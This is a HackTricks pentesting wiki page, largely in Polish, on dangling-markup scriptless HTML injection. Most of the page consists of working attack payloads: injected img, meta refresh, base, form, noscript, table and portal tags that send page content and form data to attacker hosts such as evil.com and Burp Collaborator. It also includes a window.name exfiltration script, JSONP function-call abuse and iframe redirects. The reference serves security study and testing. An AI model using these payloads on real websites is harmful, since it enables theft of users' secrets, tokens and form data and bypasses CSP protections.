Dangling Markup - HTML scriptless injection

Support HackTricks

Resume

Ta technika może być używana do wyciągania informacji od użytkownika, gdy znaleziono wstrzyknięcie HTML. Jest to bardzo przydatne, jeśli nie znajdziesz żadnego sposobu na wykorzystanie XSS , ale możesz wstrzyknąć kilka znaczników HTML. Jest to również przydatne, jeśli jakiś sekret jest zapisany w postaci czystego tekstu w HTML i chcesz go wyekstrahować z klienta, lub jeśli chcesz wprowadzić w błąd w wykonaniu jakiegoś skryptu.

Kilka technik omówionych tutaj może być użytych do obejścia niektórych Content Security Policy poprzez wyekstrahowanie informacji w nieoczekiwany sposób (znaczniki html, CSS, znaczniki http-meta, formularze, base...).

Main Applications

Stealing clear text secrets

Jeśli wstrzykniesz <img src='http://evil.com/log.cgi? podczas ładowania strony, ofiara wyśle ci cały kod między wstrzykniętym znacznikiem img a następnym cudzysłowem w kodzie. Jeśli sekret znajduje się w tym kawałku, ukradniesz go (możesz zrobić to samo używając podwójnego cudzysłowu, sprawdź, co może być bardziej interesujące do użycia).

Jeśli znacznik img jest zabroniony (na przykład z powodu CSP), możesz również użyć <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Zauważ, że Chrome blokuje adresy URL HTTP zawierające "<" lub "\n", więc możesz spróbować innych schematów protokołów, takich jak "ftp".

Możesz również nadużyć CSS @import (wyśle cały kod, aż znajdzie ";")

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Możesz również użyć <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

Możesz również wstawić tag <base. Wszystkie informacje będą wysyłane, dopóki cytat nie zostanie zamknięty, ale wymaga to interakcji ze strony użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmienił domenę wskazywaną przez link):

<base target='        <--- Injected
steal me'<b>test</b>

Kradzież formularzy

<base href='http://evil.com/'>

Then, formularze, które wysyłają dane do ścieżki (jak <form action='update_profile.php'>), będą wysyłać dane do złośliwej domeny.

Stealing forms 2

Ustaw nagłówek formularza: <form action='http://evil.com/log_steal'>, to nadpisze następny nagłówek formularza, a wszystkie dane z formularza zostaną wysłane do atakującego.

Stealing forms 3

Przycisk może zmienić adres URL, do którego informacje z formularza będą wysyłane, za pomocą atrybutu "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Napastnik może to wykorzystać do kradzieży informacji.

Znajdź przykład tego ataku w tym opisie.

Kradzież tajemnic w postaci czystego tekstu 2

Używając wspomnianej wcześniej techniki do kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), możesz następnie wstrzyknąć nowe pole wejściowe:

<input type='hidden' name='review_body' value="

i to pole wejściowe będzie zawierać całą zawartość między jego podwójnymi cudzysłowami a następnym podwójnym cudzysłowem w HTML. Atak ten łączy "Kradzież jawnych sekretów" z "Kradzieżą formularzy2".

Możesz zrobić to samo, wstrzykując formularz i tag <option>. Wszystkie dane aż do znalezienia zamkniętego </option> zostaną wysłane:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Wstrzykiwanie parametrów formularza

Możesz zmienić ścieżkę formularza i wstawić nowe wartości, aby wykonać nieoczekiwaną akcję:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Kradzież tajemnic w czystym tekście za pomocą noscript

<noscript></noscript> To tag, którego zawartość będzie interpretowana, jeśli przeglądarka nie obsługuje JavaScript (możesz włączyć/wyłączyć JavaScript w Chrome w chrome://settings/content/javascript).

Sposobem na wyeksfiltrowanie zawartości strony internetowej od punktu wstrzyknięcia do dołu na kontrolowaną przez atakującego stronę będzie wstrzyknięcie tego:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Bypassing CSP with user interaction

Z tego badania portswiggers możesz się dowiedzieć, że nawet z najbardziej ograniczonych środowisk CSP można nadal ekstrahować dane z pewną interakcją użytkownika. W tej okazji użyjemy ładunku:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Zauważ, że poprosisz ofiarę o kliknięcie w link, który przekieruje ją do ładunku kontrolowanego przez ciebie. Zauważ również, że atrybut target wewnątrz tagu base będzie zawierał zawartość HTML aż do następnego pojedynczego cudzysłowu. To spowoduje, że wartość window.name po kliknięciu w link będzie zawierać całą tę zawartość HTML. Dlatego, ponieważ kontrolujesz stronę, na którą ofiara przechodzi, klikając link, możesz uzyskać dostęp do window.name i ekstrahować te dane:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Misleading script workflow 1 - HTML namespace attack

Wstaw nowy tag z id wewnątrz HTML, który nadpisze następny i z wartością, która wpłynie na przebieg skryptu. W tym przykładzie wybierasz, z kim informacja będzie dzielona:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Mylący przepływ skryptu 2 - Atak na przestrzeń nazw skryptu

Utwórz zmienne wewnątrz przestrzeni nazw javascript, wstawiając tagi HTML. Następnie ta zmienna wpłynie na przepływ aplikacji:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Nadużycie JSONP

Jeśli znajdziesz interfejs JSONP, możesz być w stanie wywołać dowolną funkcję z dowolnymi danymi:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Lub możesz nawet spróbować wykonać jakiś javascript:

<script src='/search?q=a&call=alert(1)'></script>

Iframe abuse

Dokument podrzędny ma możliwość przeglądania i modyfikowania właściwości location swojego rodzica, nawet w sytuacjach między źródłami. Umożliwia to osadzenie skryptu w iframe, który może przekierować klienta na dowolną stronę:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

To można złagodzić za pomocą czegoś takiego: sandbox=' allow-scripts allow-top-navigation'

Iframe może być również nadużywany do wycieku wrażliwych informacji z innej strony używając atrybutu nazwy iframe. Dzieje się tak, ponieważ można stworzyć iframe, który iframe'uje siebie, nadużywając wstrzykiwania HTML, co sprawia, że wrażliwe informacje pojawiają się wewnątrz atrybutu nazwy iframe, a następnie uzyskać dostęp do tej nazwy z początkowego iframe i ją wyciekować.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta abuse

Możesz użyć meta http-equiv, aby wykonać kilka działań, takich jak ustawienie ciasteczka: <meta http-equiv="Set-Cookie" Content="SESSID=1"> lub wykonanie przekierowania (w tym przypadku po 5s): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Można to uniknąć za pomocą CSP dotyczącego http-equiv ( Content-Security-Policy: default-src 'self';, lub Content-Security-Policy: http-equiv 'self';)

New <portal HTML tag

Możesz znaleźć bardzo interesujące badania na temat podatnych na exploity luk w tagu <portal tutaj. W momencie pisania tego tekstu musisz włączyć tag portal w Chrome w chrome://flags/#enable-portals, inaczej nie będzie działać.

<portal src='https://attacker-server?

HTML Leaks

Nie wszystkie sposoby na wyciek łączności w HTML będą przydatne dla Dangling Markup, ale czasami mogą pomóc. Sprawdź je tutaj: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

To jest mieszanka między dangling markup a XS-Leaks. Z jednej strony luka pozwala na wstrzyknięcie HTML (ale nie JS) na stronę o tej samej domenie, którą będziemy atakować. Z drugiej strony nie będziemy atakować bezpośrednio strony, na którą możemy wstrzyknąć HTML, ale inną stronę.

SS-Leaks

XS-Search/XS-Leaks

XS-Search są ukierunkowane na ekstrakcję informacji z różnych źródeł poprzez nadużywanie ataków bocznych. Dlatego jest to inna technika niż Dangling Markup, jednak niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak CSS Injection lub Lazy Load Images.

XS-Search/XS-Leaks

Brute-Force Detection List

References

Support HackTricks

Last updated